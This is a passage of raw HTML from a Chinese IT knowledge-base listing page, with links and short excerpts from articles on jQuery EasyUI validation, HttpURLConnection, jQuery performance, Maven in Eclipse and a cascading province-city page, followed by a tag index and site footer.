ServletContainer</div> </li> <li><a href="/article/3129.htm" title="《开源框架那些事儿21》:巧借力与借巧力" target="_blank">《开源框架那些事儿21》:巧借力与借巧力</a> <span class="text-muted">j2eetop</span> <a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a><a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a> <div>同样做前端UI,为什么有人花了一点力气,就可以做好?而有的人费尽全力,仍然错误百出?我们可以先看看几个故事。 故事1:巧借力,乌鸦也可以吃核桃 有一个盛产核桃的村子,每年秋末冬初,成群的乌鸦总会来到这里,到果园里捡拾那些被果农们遗落的核桃。 核桃仁虽然美味,但是外壳那么坚硬,乌鸦怎么才能吃到呢?原来乌鸦先把核桃叼起,然后飞到高高的树枝上,再将核桃摔下去,核桃落到坚硬的地面上,被撞破了,于是,</div> </li> <li><a href="/article/3256.htm" title="JQuery EasyUI 验证扩展" target="_blank">JQuery EasyUI 验证扩展</a> <span class="text-muted">可怜的猫</span> <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/easyui/1.htm">easyui</a><a class="tag" taget="_blank" href="/search/%E9%AA%8C%E8%AF%81/1.htm">验证</a> <div>&nbsp; 最近项目中用到了前端框架-- EasyUI,在做校验的时候会涉及到很多需要自定义的内容,现把常用的验证方式总结出来,留待后用。 &nbsp; 以下内容只需要在公用js中添加即可。 &nbsp; 使用类似于如下: &lt;input class=&quot;easyui-textbox&quot; name=&quot;mobile&quot; id=&quot;mobile&</div> </li> <li><a href="/article/3383.htm" title="架构师之httpurlconnection----------读取和发送(流读取效率通用类)" target="_blank">架构师之httpurlconnection----------读取和发送(流读取效率通用类)</a> <span class="text-muted">nannan408</span> <div>1.前言. &nbsp;&nbsp; 如题. 2.代码. /* * Copyright (c) 2015, S.F. Express Inc. All rights reserved. */ package com.test.test.test.send; import java.io.IOException; import java.io.InputStream</div> </li> <li><a href="/article/3510.htm" title="Jquery性能优化" target="_blank">Jquery性能优化</a> <span class="text-muted">r361251</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a> <div>一、注意定义jQuery变量的时候添加var关键字 这个不仅仅是jQuery,所有javascript开发过程中,都需要注意,请一定不要定义成如下: $loading = $('#loading'); //这个是全局定义,不知道哪里位置倒霉引用了相同的变量名,就会郁闷至死的 二、请使用一个var来定义变量 如果你使用多个变量的话,请如下方式定义: . 代码如下: var page </div> </li> <li><a href="/article/3637.htm" title="在eclipse项目中使用maven管理依赖" target="_blank">在eclipse项目中使用maven管理依赖</a> <span class="text-muted">tjj006</span> <a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a><a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a> <div>概览: 如何导入maven项目至eclipse中 建立自有Maven&nbsp; Java类库服务器 建立符合maven代码库标准的自定义类库 Maven在管理Java类库方面有巨大的优势,像白衣所说就是非常“环保”。 我们平时用IDE开发都是把所需要的类库一股脑的全丢到项目目录下,然后全部添加到ide的构建路径中,如果用了SVN/CVS,这样会很容易就 把</div> </li> <li><a href="/article/3764.htm" title="中国天气网省市级联页面" target="_blank">中国天气网省市级联页面</a> <span class="text-muted">x125858805</span> <a class="tag" taget="_blank" href="/search/%E7%BA%A7%E8%81%94/1.htm">级联</a> <div>1、页面及级联js &lt;%@ page language=&quot;java&quot; import=&quot;java.util.*&quot; pageEncoding=&quot;UTF-8&quot;%&gt; &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&gt; &l</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>